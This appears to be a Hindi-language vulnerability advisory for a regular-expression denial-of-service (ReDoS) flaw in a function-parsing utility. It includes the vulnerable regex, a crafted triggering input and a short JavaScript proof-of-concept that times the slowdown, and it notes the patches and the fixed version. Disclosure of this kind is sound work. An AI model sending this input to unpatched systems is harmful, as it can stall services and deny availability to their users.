
redos
/^\sfunction\s([\0-')-\uffff]+)\s(([\0-(-\uffff]))\s*{/
यह भेद्यता तब शोषित की जा सकती है जब कोष्ठकों में असंतुलन होता है, जिसके परिणामस्वरूप अत्यधिक बैकट्रैकिंग होती है और बाद में CPU लोड और प्रसंस्करण समय में काफी वृद्धि होती है। इस भेद्यता को निम्नलिखित इनपुट का उपयोग करके ट्रिगर किया जा सकता है:
'function{' + 'n'.repeat(31) + '){'
यहाँ समस्या प्रदर्शित करने के लिए एक सरल PoC कोड है:
const protocolre = /^\sfunction\s([\0-')-\uffff]+)\s(([\0-(-\uffff]))\s*{/;
const startTime = Date.now();
const maliciousInput = 'function{' + 'n'.repeat(31) + '){'
protocolre.test(maliciousInput);
const endTime = Date.now();
console.log("process time: ", endTime - startTime, "ms");
प्रभाव
बहुत लंबे नामों या जटिल डिफ़ॉल्ट तर्क नामों वाले फ़ंक्शन को function#copy या function#toStringTokens में पास करने से स्क्रिप्ट रुक सकती है
पैच 3551cdd और a52e957 के साथ ठीक किया गया v0.10.63 के साथ प्रकाशित
समाधान उपरोक्त उपयोगिताओं का उपयोग करने से परहेज करने के अलावा कोई वास्तविक समाधान नहीं है।